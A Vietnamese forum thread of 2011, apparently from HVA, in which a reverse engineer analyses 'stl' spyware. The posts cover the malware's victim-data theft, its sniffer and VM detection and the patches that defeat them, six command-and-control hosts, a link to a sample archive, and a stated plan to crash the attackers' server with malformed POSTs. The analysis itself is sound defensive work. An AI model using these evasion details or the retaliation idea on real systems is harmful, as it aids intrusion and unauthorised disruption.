Pt~ornr{i=\mmqt~|itrs=Xooro=Oxmroitsz..UM=Q|nxoWxi=P,.,$=P[M=Nxotxn=Irrqre..utyn|pmqxtsmhi..y{eBe+){ox..mrjxop|s|zxpxsiBe%+{ox..htqyn|pmqxn..Pt~ornr{i=Ktnh|q=^66=/--%=Oxytniothi|qx=0=e%+=$3-3.-*/$3,*..Pt~ornr{i=Ktnh|q=^66=/--%=Oxytniothi|qx=0=e%+=$3-3.-*/$3+,+,..jemqtnBe%+{ox..zxsxo|qirrqnBe+){ox..\QMN=Irh~u=M|y=Yotkxo..hpy{n|pmqxn..Pt~ornr{i=3SXI=[o|pxjrov=.3-=Nxokt~x=M|~v=/..ytnmq|dn|pmqxn..ts{n|pmqxBt|+){ox..PokqHnzIo|~vtsz..qhxirriuirrqnBe%+{ox..tp|ztszirrqnBe+){ox..Xp|o~|yxor=O\Y=Nihytr=/-,-..jnyirrqBe%+{ox..yokirrqnBe+){ox..jmyn|pmqxn..Pt~ornr{i=Jtsyrjn=NYV={ro=Ktnh|q=Nihytr=/--%=NM,=Jts./=Irrqn..nxihmirrqnBt|+){ox..mrjxop|s|zxpxsiBe+){ox..motsiirrqnBe%+{ox..qtnBe%+{ox..jptn|pmqxn..|kniox|pirrqnBt|+){ox..|kniox|pirrqnBe+){ox..msmmroinn|pmqx..YN[0VtiNxihm..t{nn|pmqxn..Pt~ornr{i=3SXI=[o|pxjrov=/3-=Nxokt~x=M|~v=/..njihsxo..utyn|pmqxn..N~|s=Ir..[|eNxsyTsni|qqxo..OX\QIXV=ZX=;=[X=Xiuxosxi=M^T0X=ST^=Yotkxo..Pt~ornr{i=Jtsyrjn=NYV={ro=Ktnh|q=Nihytr=/--%=NM,=Irrqn..r|~oBe%+{ox..irrqnBe%+{ox..Pt~ornr{i=3SXI=[o|pxjrov=.3(=NM,..Uri{te={ro=Pt~ornr{i=3SXI=[o|pxjrov=.3(=NM,=5V_$(.($(4..Uri{te={ro=Pt~ornr{i=3SXI=[o|pxjrov=.3(=NM,=5V_$(%)%)4..Hmy|ix={ro=Pt~ornr{i=3SXI=[o|pxjrov=.3(=NM,=5V_$+.4..zxsxo|qirrqnBe%+{ox..htqyirrqnBt|+){ox..P|ovxiOxnx|o~u..qtnBt|+){ox..nyk..jsxiqtnBe%+{ox..m{yBt|+){ox..trpxiot~irrqnBe+){ox..msmirrqnBt|+){ox..motsin|pmqxn..|kniox|pn|pmqxn..htqyirrqnBe+){ox..tsni|qquxqm..pryxpirrqn..qhxirriuirrqnBt|+){ox..Xp|o~|yxor=Yxqmut=|sy=^66_htqyxo=/-,-=Y|i||nx=M|~v..r{{oxzBe+){ox..jmyirrqnBe+){ox..Pt~ornr{i=Ktnh|q=Nihytr=/--%=Mxo{rop|s~x=^rqqx~itrs=Irrqn=0=XSH..j~rtsni|qqxon..jnyirrqBt|+){ox..jnyirrqBe+){ox..Ox|qixv=Utzu=Yx{tstitrs=\hytr=Yotkxo..Xp|o~|yxor=Yxqmut=|sy=^66_htqyxo=/-,-=Uxqm=Ndnixp..sxijrovqto|otxnBe+){ox..jy{irrqnBe+){ox..PNEPQ=)3-=NM/=5V_$*.+%%4..^ryxZx|o=Yxqmut=|sy=^66_htqyxo=/--$=Uxqm=Ndnixp..ktni|qtnBe%+{ox..jmyirrqnBt|+){ox..^ryxZx|o=Yxqmut=|sy=^66_htqyxo=/--$=Y|i||nx=M|~v..m~tyokn|pmqx..Pt~ornr{i=Ktnh|q=^66=/--%=Oxytniothi|qx=0=e%+=$3-3/,-//...EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE.EEEEEEEEEEEEEEEEEEEEEEE
[27/09/2011 3:13:18 PM:468]
00000000 67 00 00 00 g...
|
|
|
Và em cũng chắc chắn là trong đám host này, có thằng đang nhả bot để DDOS VNN về. Em sẽ post cách hướng dẫn chạy một mình cversions.2.db với OllyDbg, SmartSniff và SysTracer trên máy ảo để bà con chụp cổ thằng bot VNN được down về.
Em nói đúng không mấy anh stl ?
Các thông tin về victim, về cấu hình phần cứng, serial number của CPU, harddisk, username, computername, licenseID, danh sách các phần mềm đã instal, IE ver, path, name của thư mục %UserProfile%... mà mấy anh còn lấy được, còn úp về được thì victim hết đường chối khi mấy anh muốn "bạch hoá". Thậm chí em đang run những phần mềm nào trên máy, mấy anh còn lấy list luôn (PSAPI hay ToolHelp32 API), dùng EnumWindows hết tất cả window đang mở rồi ghi xuống Global Temp File của mấy anh (so siếc, encode gì đó xong) rồi để up đi thì còn cái gì của victim mà mấy anh không biết nữa ? Mấy anh đang vi phạm trắng trợn quyền bảo mật thông tin của công dân đấy nhé !
Nếu trong đám coder của mấy anh, thằng nào dùng WMI để lấy thông tin phần cứng của victim, nhắc với nó, em chỉ cần search vài forum trong nước là khoanh vùng thằng đó rồi đấy nhé ! Đang dùng pure C, lại nhảy qua dùng CString, rồi module khác dùng WMI lại dùng com_string, com_bstr...., rồi module khác lại dùng Zlib.... Chã lẽ một cái file cversions.2.db có tới 2, 3 thằng tham gia code à ?
Bà con có tự hỏi, đám "mèo què" này từ trên trời rơi xuống không ? Hoàn toàn không, nội cái tiền thuê mướn, trả lương cho đám coder này từ 2010 tới giờ thì bà con biết là bao nhiêu rồi, ít nhất phải có từ 4 coder trở lên. Bà con tính lương giùm em cái, tụi này hơi cao cấp, chắc có "du côn sinh" nữa, nên lương phải hơi cao cao, 700USD một tháng đi ! Còn nếu đi thuê các công ty chuyên viết malware thì càng chết nữa, 1 man month chắc phải 1k5-2k USD. Nhưng mà buồn một cái là tới giời, thả ra con nào là các AV chụp cổ nhai xương hết con đó, bao nhiều tiền của, công sức đổ sông đổ biển hết ! Em xin chia buồn mấy anh coder stl nhé, thành thật đấy. Nếu với tài năng coding của mấy anh mà dùng để viết các phần mềm có ích, bán rẽ thì bây giờ mấy anh vi vu biệt thự PMH, xe hơi rồi !
|
|
|
Lại thành thật chia buồn với mấy anh stl nữa rồi, 6 cái host URL mấy anh nhúng trong cversions.2.db mà mấy anh đã cẩn thận dùng TEA/TEAN gì đó để encrypt đã bị em decrypt ra mất tiêu rồi
Trước tiên, em patch cái hàm check sniffers của mấy anh để nó luôn return FALSE và set cái global flag g_bNotSafeToConnect to FALSE (thông cảm, tiếng Anh em tệ lắm, đặt tên biến, tên hàm đọc muốn trẹo mồm). Sau đó, do mấy anh cứ khoái dùng Sleep để ngủ nên em phải patch luôn hàm Sleep trong kernel32.luôn, cho nó ret 4 ở đầu hàm (để em khỏi phải ngủ theo mấy anh ). Tiếp theo, em đặt breakpoint ở hàm CreateProcessA và W trong kernel32.dll luôn (đề phòng thôi, vì anti rookit tool em đang dùng đã set deny CreateProcess, LoadLibrary, create service... rồi mà), sau đó em cứ từ từ mà trace qua hàm MainThreadProc trong DllMain của mấy anh, thế là lòi ra hết.
Mấy anh stl coder sẽ "thét mét", quái, làm sao mà thằng TQN biết là có 6, nếu nó dùng sniffer thì chỉ detect ra 1 host đang connect thôi chứ ? Đơn giản mà, mấy anh dùng vòng loop 30 lần, lấy random value bằng hàm rand rồi mod 6 thì bất kỳ thằng coder newbie nào như em mà không biết là sẽ lấy được trị là 0 tới 5 (tức tổng cộng là 6). Thay vì để hàm rand của VC++ 2008 RTL được call, em patch luôn, cho ECX trả về từ 0 - 30 y như số lần for loop của mấy anh luôn ! Vậy thì cứ watch cái buffer truyền vào cho hàm decode của mấy anh là ra hết cái đống URL host của mấy anh thôi, có gì đâu !
Danh sách các host của stl mà con trojan, ăn cắp thông tin, upload thông tin victim về, và cũng là downloader để download các "mèo què" mới của stl về:
1. alligator.buyshouses.net
2. examiner.thruhere.net
3. gssiweb.is-a-chef.net
4. tmz.is-found.org
5. wbir.iamallama.com
6. weei.istmein.de
Trong mấy cái host này, có cái của Malaisia, có cái của Đức, tùm lum hết. Kinh thiệt, mấy anh stl giàu quá. Các host này mở sẵn port 443 để trojan upload thông tin của victim về.
Em nhờ bà con report baduse để mấy cái host này die sớm. Được vậy thì mọi người dùng Internet, dân IT VN ta đỡ khổ, đỡ bị "bạch hoá" hay bắt buộc đi "tắm trắng"
Bà con IT admin ở các cơ quan, công ty, trường học... chịu khó set firewall, IPS hay IDS gì đó để detect các connection in, out tới các host trên. Nếu có, chia buồn, dính "mèo què" của stl rồi ! Đám mèo què này hơi khó xoá khi boot vào Windows bình thường, bà con chịu khó dùng Hiren Boot disk để boot và xoá từng file trong danh sách các file trong QTTask.zip mà em đã up trên mediafire nhé !
PS: Bà con thắc mắc, anh em HVA có chỉ đường cho "hươu" chạy không, về các anh em khác thì em không dám nói, riêng bản thân em, thì em xin nói thật, là không ! Vì con hươu này còn nhỏ lắm, nên chỉ chạy lòng vòng thôi. Từ đầu tới giờ, có nhiều cái em không dám viết ra, vì nếu viết ra mà mấy anh stl áp dụng thì em cũng chạy "lòng vòng" rồi "cắm đầu" luôn, nên chỉ dám nghĩ trong đầu thôi, không dám nói và tới giờ, may cho em quá, mấy anh stl coder chưa đi mấy con đường đấy, "phào", khoẻ
Còn chuyện RCE và phân tích code của mấy anh stl thì em nghĩ đơn giản là giống như anh em HVA ta đang viết các bài báo phân tích kỹ thuật để mọi người, mọi coder, reverser... đọc giải trí, không bổ bề này cũng bổ bề kia thôi. Những kỹ thuật mà mấy anh stl đang dùng chả có gì là tinh vi như báo, đài nói cả, chỉ là code VC++ bình thường thôi, giả "hươu, nai" thôi ! Chỉ cần chút "xíu xíu" kinh nghiện RCE VC++ application là ra tất. Sau này em sẽ post topic hướng dẫn RCE VC++ app, bà con đón đọc nhé. Các kỹ thuật trong đó em cũng học hỏi từ các guru, sư phụ RCE của em như Kaspersky, Kayaker, Ilfak, Igor... thôi !
Ngày hôm qua em gặp mẫu của thằng Nga, dùng RPC để lây lan, em thiệt bó tay, té xỉu luôn ! Chả hiểu nó viết cái gì, vì về code nó đã là thằng coder cao tay hơn mình rồi ! Sau cùng, phải nhờ anh Gấu gồ, anh ấy chỉ ra là nó khai thác lổi của Print Spooler.
|
|
|
Tại sao bạn lại gọi là cuộc chiến, và nếu là cuộc chiến thì nó chỉ kết thúc khi stl giải tán, hay stl không còn viết "mèo què" nữa, không còn ăn cắp thông tin, "bạch hoá" hèn hạ, không còn chơi DDOS dơ bẩn nữa !
Bạn đừng nên nghĩ mình là ABC đứng giữa chịu đòn của stl, bạn hảy đứng về một phía, về HVA, về phía anh em IT, cộng đồng chính nghĩa để đấu tranh, đập tan cái tổ chức xấu xa stl này !
Em còn chưa mệt thì sao bạn lại mệt, lại hỏi như vậy ha ? Tới giờ thì em rút ra kn rồi, RCE mèo què của stl và post bài trên HVA này như một cách giải trí, ôn luyện, nâng cao khả năng RCE "nữa mùa" của em thôi !
|
|
|
Tụi stl này đã code detect VM từ lâu rồi, 2010, nhưng những đoạn code check đó lại trò con nít, user bình thường doubleclick to run trên VM mới bị detect, chứ còn gặp các anh em biết về RCE thì chỉ cần change khi debug hay patch một cái EAX, AX, AL hay ZF là đoạn code check của mấy anh stl thành vô dụng.
Kỹ thuật anti Debug, anti VM, anti RCE của mấy anh stl chỉ mới ở mức hơn newbie một chút thôi.
Vd:
1. File rwoqv.exe, addr: 00401230, là đoạn code check VMWare và VirtualBox
2. File rfc2616.exe, addr: 00401680, một proc call một loạt các hàm check Virtual Machine, AV và debugger.
Theo hình trên, tại 004016D3, em cứ để mấy anh stl múa sao thì múa, em chỉ cần set result về 0 là "xong phim", bao nhiêu công sức code của mấy anh đổ sông đổ biển hết
Trong file QTTask.zip mà tui đã up ở mediafire: http://www.mediafire.com/?259kv56xit09c6b (password: infected) có các file IDA 6.1 database file .idb, các bạn có thể mở ra với IDA 6.1 và xem các .idb đó như một tham khảo thêm !
PS: Chiều nay ngồi RCE một con virus của Nga mà một thằng bên Kaspersky lab gởi cho mình. RCE một đổi, mình nổi khùng, mẹ, sao có thằng giỏi thế không biết, nó quay mình chóng mặt luôn, dẹp luôn, bỏ đi nhậu "rữa xe" cho khoẻ ! Chả liên quan gì tới mình !
Tiện thể, nhờ bà con up giùm các file trong QTTask.zip trên lên các AVs. Cùng nhau up phụ một tay nhé !
Có một điều nữa, từ trước tới giờ, đa số bà con chỉ biết Wireshark và Ethernet là các tool phổ biến để sniffer và packet capture, monitor... Chỉ gần đây anh em ta mới đề cập tới SmartSniff (smsniff.exe) của Nirosoft. Anh em stl cũng theo topic này rất sát, thấy, à mày dùng smsniff hả, tao chơi code detect smsniff cho mày biết !
Em chỉ cần, vẫn dùng smsniff.exe, đổi tên nó thành nwsniff.exe chẵng hạn, rồi dùng 1 HexEditor, search và replace SmartSniff string thành NetworkSniff string chẳng hạn, thì đoạn code detect SmartSniff của mấy anh stl vứt vào sọt rác luôn (FindWindowW tìm ra không mấy anh stl ?).
Khi nào mấy anh stl cần học cờ rắc, liên hệ em hay anh em REA, HVA nhé ! Học phí cực rẽ luôn !
|
|
|
Dĩ nhiên là không, vì ToolHelp32 API chỉ detect trên 1 session (có nhiều session trong 1 máy), và máy thật khác máy ảo.
|
|
|
Hì hì, không phải nó kill các tool đó hay exit đâu bà con ! Thâm hơn nữa kìa, nó sẽ đi ngủ, chừng nào tụi kia đi hết nó mới thức dậy và phang tiếp
cversions.2.db sinh rất nhiều thread, mổi thread làm nhiệm vụ khác nhau.
Code detect các tool sniffer được đặt nằm trong 1 thread. Thread này gần như loop vô tận, và liên tục detect các snifffer. Nếu detect thấy, nó sẽ set 1 cờ, em gọi là g_dwNotSafeToConnect.
Các thread khác làm làm nhiệm vụ upload victim infos và download sẽ liên tục check cờ này, nếu thấy not safe, nó sẽ không connect tới các HTTP server định sẵn, thay vào đó các thread sẽ đi ngủ (Sleep)
Vì vậy, user bình thường, khi bật Wireshark, Smsniff... lên sẽ không thấy các connection vào ra từ cversions.2.db này. Khi tắt đi thì cversions.2.db sẽ lại connect.
stl coder thâm vậy đó, bà con sợ chưa
|
|
|
Hôm qua nhậu quá giờ ngu ngu rồi. Thôi RCE tiếp con cversions.2.db của mấy anh stl để giải say
Phân tích mấy hàm này, giựt mình, tỉnh rượu luôn Mấy anh stl chơi thâm ha ! Lần này sau một thời gian theo dõi HVA, thấy HVA hướng dẫn bà con dùng Wireshark, SmartSniff... để monitor và bắt mèo què của mấy anh, mấy anh chơi viết code detect các tool đó luôn ha !
Nhưng mà các tool capture, sniffer thì nhiều vô số kể, làm sao các anh stl chống hết được ha ?
Bản cversions.2.db này đang detect 3 tool sau:
1. Wireshark.exe, find wndname = The Wireshark Network Analyzer
2. smsniff.exe, find wndname = SmartSniff
3. EtherD.exe, find wndname = EtherDetect Packet Sniffer
Trong list trên lại không có TCPView, CurrPorts (cũng của Nirosoft).
Các packet monitor tool trên máy em đang có: netcap của Windows Support Tools, CommView, MS Network Monitor, Cain&Abel, và NetworkMiner http://www.netresec.com/?page=NetworkMiner. Em kết nhất là cái NetworkMiner này, opensource, gọn nhẹ, portable. Thử xem mấy anh stl có add code detect hết nổi không ?
|
|
|
Hì hì, mới có 16 tháng mà huấn luyện cái gì. Thấy ba nó ngồi máy là nó đòi ẵm mới chịu, rồi lấy chân tay bé xíu đập vô bàn phím đấy chứ !
|
|
|
Kinh nghiệm mới khi RCE malware của stl mà tui vừa phát hiện ra:
1. Luôn Ctrl-S, Ctrl-A liên tục.
2. Đừng ôm con nhỏ trong lòng khi đang mở malware với OllyDbg hay IDA, nó cứ chòi chòi, đòi gõ bàn phím hoài, F5 hay F9 một cái là tiêu em Mà không cho là nó la mới mệt chứ !
|
|
|
Đã phân tích xong rdpuser.mof, chỉ có vài điểm chú ý sau:
Thằng làm nhiệm vụ như StaticCaches.dat hồi xưa là thằng \Protect\History.db.
Còn thằng cversions2.db thì như dao360.dll.mui hồi xưa, đứng giữa điều phối các file mèo què kia, up thông tin của victim, download new mèo què, bot....
Sau khi kiểm tra có 1 trong 2 file trên, rdpuser.mof sẽ LoadLibraryW 1 trong 2 file đó lên. Bị "bạch hoá" bắt đầu từ đây, phải không mấy anh stl:
Lúc trước, có người hỏi tui, ông biết nhiều vậy, bộ ông không bao giờ viết virus, hack hiếc, tham gia UG à. Em cười lớn, nếu vậy thì mấy ông làm chìa khoá ngồi ở lề đường, mấy thằng sửa xe ngoài Bùi Hửu Nghĩa, Nguyễn Chí Thanh, chợ Tân Thành chắc bị CA chụp cổ hết rồi quá ! Phải không các bạn ?
Nếu các bạn nào thích nghiên cứu về malware, RCE, cversions.2.db là một target xứng đáng để các bạn phân tích, có rất nhiều kỹ thuật hay trong đó. Nó với dao360.dll.mui hồi xưa là 1, cùng 1 code base, chỉ modify "sơ sơ" thôi. Không đủ để "her ríc tíc" (tự dưng quên mất tiêu) gì đó của AV không phát hiện ra !
Mấy anh stl coder giỏi quá, tự code hay tìm ở đâu vậy ? Cho em đi làm "đệ tử" với
|
|
|
Hôm nay anh không uống em à, về tới nhà thì mệt lắm rồi. Anh chỉ nói những gì cần nói, .lht. ! Chỉ bức xúc những gì đang xảy ra trước mắt mình mà phải nói thôi ! Mình cứ tâm niệm mình đang làm đúng, không có gì phạm pháp thì mắc gì mình phải sợ, em nhỉ !
Anh vừa phân tích xong cái rdpuser.mof, cho nó move vào thư mục Done của QTTask.zip là vừa. Còn cái cversions.2.db, thằng này chính là core như Dao360.dll.mui hồi xưa, sẽ tốn nhiều công sức hơn, nhưng sẽ không bỏ cuộc, phải làm cho tới lần này. Lần này, nói trước cái HTTP server mà mấy anh POST thông tin của victim về sẽ bị em vạch trần, và em sẽ đi theo đường POST chính thống của mấy anh đấy ! Thử xem cái nginx webserver của mấy anh có chịu nổi mấy cái HTTP POST dị dạng không ? Em chả cần hack hiếc gì cả, chỉ cần cái nginx của mấy anh crash là được rồi !
Hình minh hoạ layout của code của rdpuser.mof:
Nhìn vào hình này, các bạn cũng thấy, stl coder code chỉ 6 hàm, còn DllMain là prototype bắt buộc của DLL, vậy mà chỉ vì vài hàm trong 6 hàm đó dùng CString, mà stl coder đã mang vào chương trình một đống các hàm (gần 30 hàm) của các class ATL::CString, ATL::CSimpleString, ATL::CWin32Heap, ATL::CAtlStringMgr, và một đống các hàm khác của STL - C++ Standard Template Library , cũng vì lai giữa C và C++, dùng lẫn lộn giữa new và malloc mà phải chịu vậy ! Trên hình, đoạn màu xanh nhạt là C/C++ library function, đoạn màu xanh đậm là code của stl coder.
Nói phải có bằng có chứng, chứ không mấy anh stl coder nói em nói mò, phán bậy ! Em nói đúng không mấy anh stl, xem lại code của rdpuser.mof đi ! Sợ mấy anh không nhớ rdpuser.mof là gì, em xin nhắc luôn, tên gốc lúc build của nó là advapi32.dl (mạo danh advapi32.dll, core dll của MS), build vào ngày 22/11/2010 đó !
|
|
|
Buồn một chút là không nhắc gì tới HVA cả, nếu không có HVA thì mấy ai biết được ITunesHelper và GoogleCrashHandler.
Tuy nhiên, vẫn có CMC trong list các đơn vị hổ trợ. Và chia buồn với mấy sứ giả cãi thiện chiến của BKAV, BKIS là không có tên của mấy anh trong đó ! Hoan hô Bolzano của CMC !
Công sức của anh em HVA ta, tuy không và chưa được ai công nhận, nhưng đã đến lúc thu được kết quả rồi. Giống như những nhà từ thiện chân chính, cần gì báo đài tung hô, chỉ cần mình làm đúng, hết lòng vì việc mình làm, phải không các bạn ?
Còn phần em thì vẫn tiếp tục chờ và tìm mẫu giấu mặt khác đang DDOS VNN, vẫn tiếp tục RCE, phân tích và công bố các mẫu khác của stl. Không ai cấm em được việc em đang làm ! Mong mọi người tiếp tục ủng hộ, tham gia, mạnh dạn vạch trần, đánh sập tụi stl xấu xa, giấu mặt, dơ bẩn, hèn hạ này !
Tự dưng em tự hỏi, nếu lần này, chúng ta, HVA, cộng đồng IT VN ta, phải thua tụi nó giữa chừng, thì mai mốt, vô hình, không có nước nào trên thế giới giống VN ta, có một thế lực hắc ám, "tử thần thực tử" cho những kẻ mà "ai cũng biết là ai đó" lơ lững trên đầu mình, sẵn sàng dập mình, đập chết mình và mọi người, bóp nghẹt, đàn áp, khống chế, đe doạ mọi người ! Các bạn chịu được không, hảy suy nghĩ cho kỹ ????????????????? Tự hỏi chính lương tâm các bạn đi ! Xã hội bây giờ là xã hội dân chủ, tự do thông tin, tự do chính kiến rồi, các bạn à, nếu các bạn đang làm đúng, không làm gì sai, phạm pháp, tại sao các bạn lại phải sợ ?!
1. Việc chúng ta đang làm, đấu tranh với stl có phạm pháp không các bạn ? Hoàn toàn không !
2. Chúng ta có chống phá chế độ, nhà nước không các bạn ? Hoàn toàn không !
3. Chúng ta có xúc phạm, đả kích một công dân chân chính VN nào không các bạn ? Hoàn toàn không !
4. Chúng ta làm việc này, có thu lợi, mang lại đồng tiền, lợi ích cho cá nhân không các bạn ? Hoàn toàn không !
5. Chúng ta đang đấu tranh với tội phạm mạng, tội phạm xã hội phải không các bạn ? Hoàn toàn đúng !
6. Chúng ta tham gia đấu tranh với stl để bảo vệ chính mình, bảo vệ mọi người, bạn bè, thân thuộc, bảo vệ tự do thông tin, tự do Internet, tự do phát ngôn, chính kiến của chúng ta..., đúng không các bạn ? Hoàn toàn đúng !
....
Còn nhiều cái khác nữa, mong các bạn hãy dũng cảm đứng lên, cùng tham gia góp sức để đập tan tụi stl này ! Tà không bao giờ thắng chính được, các bạn à !
|
|
|
Cam on quygia128. Cậu up giùm tui file goopdate.dll luôn nhé !
|
|
|
2 Xr0.9999: Cậu đọc theo hướng dẫn của Bolzano để up thông tin AutorRuns nhé ! Post một đống vậy thì em quáng gà luôn !
|
|
|
|
|
|
|